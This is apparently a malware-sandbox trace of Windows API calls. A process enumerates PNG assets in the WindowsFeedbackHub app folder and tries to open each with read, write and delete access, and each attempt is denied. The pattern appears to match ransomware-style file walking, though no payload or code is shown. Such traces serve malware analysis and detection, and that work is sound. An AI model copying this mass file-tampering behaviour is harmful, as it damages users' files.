	[0090.180] wcscpy (in: _Dest=0x4ebc520, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets"
	[0090.180] wcscat (in: _Dest=0x4ebc520, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0090.180] wcscat (in: _Dest=0x4ebc520, _Source="InsiderHubAppList.targetsize-20_altform-unplated.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\InsiderHubAppList.targetsize-20_altform-unplated.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\InsiderHubAppList.targetsize-20_altform-unplated.png"
	[0090.180] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\InsiderHubAppList.targetsize-20_altform-unplated.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsfeedbackhub_1.1612.10312.0_x64__8wekyb3d8bbwe\\assets\\insiderhubapplist.targetsize-20_altform-unplated.png")) returned 0x20
	[0090.180] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\InsiderHubAppList.targetsize-20_altform-unplated.png", dwFileAttributes=0x20) returned 0
	[0090.180] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\InsiderHubAppList.targetsize-20_altform-unplated.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsfeedbackhub_1.1612.10312.0_x64__8wekyb3d8bbwe\\assets\\insiderhubapplist.targetsize-20_altform-unplated.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.180] GetLastError () returned 0x5
	[0090.180] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\InsiderHubAppList.targetsize-20_altform-unplated.png", dwFileAttributes=0x20) returned 0
	[0090.180] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4ebc520) returned 1
	[0090.180] FindNextFileW (in: hFindFile=0x477a8e8, lpFindFileData=0x502bfa8 | out: lpFindFileData=0x502bfa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50223d89, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x50223d89, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x50223d89, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="InsiderHubAppList.targetsize-20_altform-unplated_contrast-black.png", cAlternateFileName="")) returned 1
	[0090.180] wcscmp (_String1="InsiderHubAppList.targetsize-20_altform-unplated_contrast-black.png", _String2=".") returned 1
	[0090.180] wcscmp (_String1="InsiderHubAppList.targetsize-20_altform-unplated_contrast-black.png", _String2="..") returned 1
	[0090.180] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x14e) returned 0x4732810
	[0090.180] wcscpy (in: _Dest=0x4732810, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets"
	[0090.180] wcscat (in: _Dest=0x4732810, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0090.180] wcscat (in: _Dest=0x4732810, _Source="InsiderHubAppList.targetsize-20_altform-unplated_contrast-black.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\InsiderHubAppList.targetsize-20_altform-unplated_contrast-black.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\InsiderHubAppList.targetsize-20_altform-unplated_contrast-black.png"
	[0090.181] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\InsiderHubAppList.targetsize-20_altform-unplated_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsfeedbackhub_1.1612.10312.0_x64__8wekyb3d8bbwe\\assets\\insiderhubapplist.targetsize-20_altform-unplated_contrast-black.png")) returned 0x20
	[0090.181] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\InsiderHubAppList.targetsize-20_altform-unplated_contrast-black.png", dwFileAttributes=0x20) returned 0
	[0090.181] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\InsiderHubAppList.targetsize-20_altform-unplated_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsfeedbackhub_1.1612.10312.0_x64__8wekyb3d8bbwe\\assets\\insiderhubapplist.targetsize-20_altform-unplated_contrast-black.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.181] GetLastError () returned 0x5
	[0090.181] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\InsiderHubAppList.targetsize-20_altform-unplated_contrast-black.png", dwFileAttributes=0x20) returned 0
	[0090.181] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4732810) returned 1
	[0090.181] FindNextFileW (in: hFindFile=0x477a8e8, lpFindFileData=0x502bfa8 | out: lpFindFileData=0x502bfa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5024a003, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x5024a003, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x5024a003, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xa6, dwReserved0=0x0, dwReserved1=0x0, cFileName="InsiderHubAppList.targetsize-20_altform-unplated_contrast-white.png", cAlternateFileName="")) returned 1
	[0090.181] wcscmp (_String1="InsiderHubAppList.targetsize-20_altform-unplated_contrast-white.png", _String2=".") returned 1
	[0090.181] wcscmp (_String1="InsiderHubAppList.targetsize-20_altform-unplated_contrast-white.png", _String2="..") returned 1
	[0090.181] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x14e) returned 0x4732810
	[0090.181] wcscpy (in: _Dest=0x4732810, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets"
	[0090.181] wcscat (in: _Dest=0x4732810, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0090.181] wcscat (in: _Dest=0x4732810, _Source="InsiderHubAppList.targetsize-20_altform-unplated_contrast-white.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\InsiderHubAppList.targetsize-20_altform-unplated_contrast-white.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\InsiderHubAppList.targetsize-20_altform-unplated_contrast-white.png"
	[0090.181] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\InsiderHubAppList.targetsize-20_altform-unplated_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsfeedbackhub_1.1612.10312.0_x64__8wekyb3d8bbwe\\assets\\insiderhubapplist.targetsize-20_altform-unplated_contrast-white.png")) returned 0x20
	[0090.183] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\InsiderHubAppList.targetsize-20_altform-unplated_contrast-white.png", dwFileAttributes=0x20) returned 0
	[0090.183] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\InsiderHubAppList.targetsize-20_altform-unplated_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsfeedbackhub_1.1612.10312.0_x64__8wekyb3d8bbwe\\assets\\insiderhubapplist.targetsize-20_altform-unplated_contrast-white.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.183] GetLastError () returned 0x5
	[0090.183] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\InsiderHubAppList.targetsize-20_altform-unplated_contrast-white.png", dwFileAttributes=0x20) returned 0
	[0090.183] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4732810) returned 1
	[0090.183] FindNextFileW (in: hFindFile=0x477a8e8, lpFindFileData=0x502bfa8 | out: lpFindFileData=0x502bfa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5024a003, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x5024a003, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x5024a003, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="InsiderHubAppList.targetsize-20_contrast-black.png", cAlternateFileName="")) returned 1
	[0090.183] wcscmp (_String1="InsiderHubAppList.targetsize-20_contrast-black.png", _String2=".") returned 1
	[0090.183] wcscmp (_String1="InsiderHubAppList.targetsize-20_contrast-black.png", _String2="..") returned 1
	[0090.183] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x12c) returned 0x4ebc8c8
	[0090.183] wcscpy (in: _Dest=0x4ebc8c8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets"
	[0090.183] wcscat (in: _Dest=0x4ebc8c8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0090.183] wcscat (in: _Dest=0x4ebc8c8, _Source="InsiderHubAppList.targetsize-20_contrast-black.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\InsiderHubAppList.targetsize-20_contrast-black.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\InsiderHubAppList.targetsize-20_contrast-black.png"
	[0090.184] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\InsiderHubAppList.targetsize-20_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsfeedbackhub_1.1612.10312.0_x64__8wekyb3d8bbwe\\assets\\insiderhubapplist.targetsize-20_contrast-black.png")) returned 0x20
	[0090.184] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\InsiderHubAppList.targetsize-20_contrast-black.png", dwFileAttributes=0x20) returned 0
	[0090.184] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\InsiderHubAppList.targetsize-20_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsfeedbackhub_1.1612.10312.0_x64__8wekyb3d8bbwe\\assets\\insiderhubapplist.targetsize-20_contrast-black.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.184] GetLastError () returned 0x5
	[0090.184] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\InsiderHubAppList.targetsize-20_contrast-black.png", dwFileAttributes=0x20) returned 0
	[0090.184] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4ebc8c8) returned 1
	[0090.184] FindNextFileW (in: hFindFile=0x477a8e8, lpFindFileData=0x502bfa8 | out: lpFindFileData=0x502bfa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5024a003, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x5024a003, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x5024a003, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xa6, dwReserved0=0x0, dwReserved1=0x0, cFileName="InsiderHubAppList.targetsize-20_contrast-white.png", cAlternateFileName="")) returned 1
	[0090.184] wcscmp (_String1="InsiderHubAppList.targetsize-20_contrast-white.png", _String2=".") returned 1
	[0090.184] wcscmp (_String1="InsiderHubAppList.targetsize-20_contrast-white.png", _String2="..") returned 1
	[0090.184] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x12c) returned 0x4ebc790
	[0090.184] wcscpy (in: _Dest=0x4ebc790, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets"
	[0090.184] wcscat (in: _Dest=0x4ebc790, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0090.184] wcscat (in: _Dest=0x4ebc790, _Source="InsiderHubAppList.targetsize-20_contrast-white.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\InsiderHubAppList.targetsize-20_contrast-white.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\InsiderHubAppList.targetsize-20_contrast-white.png"
	[0090.184] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\InsiderHubAppList.targetsize-20_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsfeedbackhub_1.1612.10312.0_x64__8wekyb3d8bbwe\\assets\\insiderhubapplist.targetsize-20_contrast-white.png")) returned 0x20
	[0090.184] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\InsiderHubAppList.targetsize-20_contrast-white.png", dwFileAttributes=0x20) returned 0
	[0090.184] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\InsiderHubAppList.targetsize-20_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsfeedbackhub_1.1612.10312.0_x64__8wekyb3d8bbwe\\assets\\insiderhubapplist.targetsize-20_contrast-white.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.185] GetLastError () returned 0x5
	[0090.185] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\InsiderHubAppList.targetsize-20_contrast-white.png", dwFileAttributes=0x20) returned 0
	[0090.185] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4ebc790) returned 1
	[0090.185] FindNextFileW (in: hFindFile=0x477a8e8, lpFindFileData=0x502bfa8 | out: lpFindFileData=0x502bfa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5024a003, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x5024a003, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x5024a003, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xce, dwReserved0=0x0, dwReserved1=0x0, cFileName="InsiderHubAppList.targetsize-24.png", cAlternateFileName="")) returned 1
	[0090.185] wcscmp (_String1="InsiderHubAppList.targetsize-24.png", _String2=".") returned 1
	[0090.185] wcscmp (_String1="InsiderHubAppList.targetsize-24.png", _String2="..") returned 1
	[0090.185] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x10e) returned 0x2d7c580
	[0090.185] wcscpy (in: _Dest=0x2d7c580, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets"
	[0090.185] wcscat (in: _Dest=0x2d7c580, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0090.185] wcscat (in: _Dest=0x2d7c580, _Source="InsiderHubAppList.targetsize-24.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\InsiderHubAppList.targetsize-24.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\InsiderHubAppList.targetsize-24.png"
	[0090.185] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\InsiderHubAppList.targetsize-24.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsfeedbackhub_1.1612.10312.0_x64__8wekyb3d8bbwe\\assets\\insiderhubapplist.targetsize-24.png")) returned 0x20
	[0090.188] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\InsiderHubAppList.targetsize-24.png", dwFileAttributes=0x20) returned 0
	[0090.188] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\InsiderHubAppList.targetsize-24.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsfeedbackhub_1.1612.10312.0_x64__8wekyb3d8bbwe\\assets\\insiderhubapplist.targetsize-24.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.188] GetLastError () returned 0x5
	[0090.188] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\InsiderHubAppList.targetsize-24.png", dwFileAttributes=0x20) returned 0
	[0090.188] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7c580) returned 1
	[0090.188] FindNextFileW (in: hFindFile=0x477a8e8, lpFindFileData=0x502bfa8 | out: lpFindFileData=0x502bfa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5024a003, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x5024a003, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x5024a003, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xce, dwReserved0=0x0, dwReserved1=0x0, cFileName="InsiderHubAppList.targetsize-24_altform-unplated.png", cAlternateFileName="")) returned 1
	[0090.188] wcscmp (_String1="InsiderHubAppList.targetsize-24_altform-unplated.png", _String2=".") returned 1
	[0090.188] wcscmp (_String1="InsiderHubAppList.targetsize-24_altform-unplated.png", _String2="..") returned 1
	[0090.188] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x130) returned 0x4ebc3e8
	[0090.188] wcscpy (in: _Dest=0x4ebc3e8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets"
	[0090.188] wcscat (in: _Dest=0x4ebc3e8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0090.188] wcscat (in: _Dest=0x4ebc3e8, _Source="InsiderHubAppList.targetsize-24_altform-unplated.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\InsiderHubAppList.targetsize-24_altform-unplated.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\InsiderHubAppList.targetsize-24_altform-unplated.png"
	[0090.188] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\InsiderHubAppList.targetsize-24_altform-unplated.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsfeedbackhub_1.1612.10312.0_x64__8wekyb3d8bbwe\\assets\\insiderhubapplist.targetsize-24_altform-unplated.png")) returned 0x20
	[0090.188] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\InsiderHubAppList.targetsize-24_altform-unplated.png", dwFileAttributes=0x20) returned 0
	[0090.188] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\InsiderHubAppList.targetsize-24_altform-unplated.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsfeedbackhub_1.1612.10312.0_x64__8wekyb3d8bbwe\\assets\\insiderhubapplist.targetsize-24_altform-unplated.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.188] GetLastError () returned 0x5
	[0090.189] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\InsiderHubAppList.targetsize-24_altform-unplated.png", dwFileAttributes=0x20) returned 0
	[0090.189] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4ebc3e8) returned 1
	[0090.189] FindNextFileW (in: hFindFile=0x477a8e8, lpFindFileData=0x502bfa8 | out: lpFindFileData=0x502bfa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5024a003, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x5024a003, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x5024a003, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xce, dwReserved0=0x0, dwReserved1=0x0, cFileName="InsiderHubAppList.targetsize-24_altform-unplated_contrast-black.png", cAlternateFileName="")) returned 1
	[0090.194] wcscmp (_String1="InsiderHubAppList.targetsize-24_altform-unplated_contrast-black.png", _String2=".") returned 1
	[0090.194] wcscmp (_String1="InsiderHubAppList.targetsize-24_altform-unplated_contrast-black.png", _String2="..") returned 1
	[0090.194] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x14e) returned 0x2d7c6e8
	[0090.194] wcscpy (in: _Dest=0x2d7c6e8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets"
	[0090.194] wcscat (in: _Dest=0x2d7c6e8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\"
